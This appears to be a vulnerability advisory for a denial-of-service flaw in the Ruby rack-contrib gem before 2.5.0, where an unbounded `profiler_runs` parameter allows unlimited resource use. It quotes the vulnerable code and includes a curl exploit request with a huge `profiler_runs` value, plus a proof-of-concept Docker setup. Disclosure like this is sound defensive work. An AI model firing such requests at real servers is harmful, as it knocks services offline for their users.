rack-contrib provides contributed rack middleware and utilities for Rack, a Ruby web server interface. Versions of rack-contrib prior to 2.5.0 are vulnerable to denial of service due to the fact that the user controlled data `profiler_runs` was not constrained to any limitation. This would lead to allocating resources on the server side with no limitation and a potential denial of service by remotely user-controlled data. Version 2.5.0 contains a patch for the issue.

Affected: RubyGems: rack-contrib

### Summary

The next ruby code is vulnerable to denial of service due to the fact that the user controlled data `profiler_runs` was not contrained to any limitation. Which would lead to allocating resources on the server side with no limitation (CWE-770).

```ruby runs = (request.params['profiler_runs'] || @times).to_i result = @profile.profile do runs.times { @app.call(env) } end ```

An exploit as such `curl --fail "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time"` may cause resource exhaution by a remotely controlled value.

### PoC

Herein the `config.ru` file:

```ruby require 'rack' require 'rack/contrib'

use Rack::Profiler # if ENV['RACK_ENV'] == 'development'

# Define a Rack application app = lambda do |env| # Your application logic goes here [200, {}, ["Hello World"]] end

# Run the Rack application run app ```

A Dockerfile:

```Dockerfile # Use the official Ruby image as a base FROM ruby:latest

# Set the working directory inside the container WORKDIR /app

# Copy the custom config.ru file into the container COPY config.ru . COPY Gemfile .

# Install rack and the gems needed to run the app RUN bundle install

# Expose the port that rackup will listen on EXPOSE 9292

# Run rackup when the container starts ENTRYPOINT ["rackup","--host","0.0.0.0","--port","9292"]

# Health check HEALTHCHECK --interval=3s --timeout=10s --start-period=2s --retries=3 CMD curl --fail http://localhost:9292/ || exit 1

```

A G…

Affected: Ubuntu:16.04:LTS: ruby-rack-contrib, Ubuntu:18.04:LTS: ruby-rack-contrib

rack-contrib provides contributed rack middleware and utilities for Rack, a Ruby web server interface. Versions of rack-contrib prior to 2.5.0 are vulnerable to denial of service due to the fact that the user controlled data `profiler_runs` was not constrained to any limitation. This would lead to allocating resources on the server side with no limitation and a potential denial of service by remotely user-controlled data. Version 2.5.0 contains a patch for the issue.